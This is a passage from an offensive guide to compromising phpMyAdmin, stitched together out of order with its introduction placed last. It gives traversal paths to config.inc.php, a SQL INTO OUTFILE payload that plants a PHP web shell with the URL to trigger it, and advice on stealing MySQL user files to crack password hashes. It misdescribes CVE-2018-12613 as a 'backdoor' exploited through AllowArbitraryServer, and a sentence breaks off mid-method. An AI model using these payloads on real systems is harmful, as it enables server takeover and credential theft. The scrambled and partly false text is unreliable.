../../etc/phpmyadmin/config.inc.php ../../var/lib/phpmyadmin/config.inc.php .../config.inc.php Look for:

SELECT grantee, privilege_type FROM information_schema.user_privileges; If you have SUPER , you can change server variables, kill queries, and potentially compromise the entire DB server. CVE-2018-12613 (Authenticated RCE) In phpMyAdmin 4.8.0–4.8.1, a backdoor allows remote code execution via the $cfg['AllowArbitraryServer'] setting.

SELECT '<?php system($_GET["c"]); ?>' INTO OUTFILE "/var/www/html/shell.php"; Then call it: http://target.com/shell.php?c=id If secure_file_priv is set (prevents INTO OUTFILE ), use the general log method:

$cfg['Servers'][$i]['user'] = 'dbuser'; $cfg['Servers'][$i]['password'] = 'Sup3rS3cr3t'; If you manage to read system files, grab /var/lib/mysql/mysql/user.MYD or user.MYI to crack MySQL password hashes (pre-8.0 uses mysql_native_password ). Part 3: Post-Login Exploitation — The Holy Grail Once inside phpMyAdmin, here’s how you turn database access into server compromise. 1. SQL to Write a Web Shell (INTO OUTFILE) If the database user has FILE privileges, you can write a PHP shell directly to the web root.

Introduction phpMyAdmin is the most popular database management tool on the planet. Written in PHP, it provides a web-based interface to manage MySQL and MariaDB servers. While it is a godsend for developers, it is a prime target for attackers. If an adversary gains access to phpMyAdmin, the game is over — they can dump credentials, escalate privileges, and even gain remote code execution (RCE) on the host server.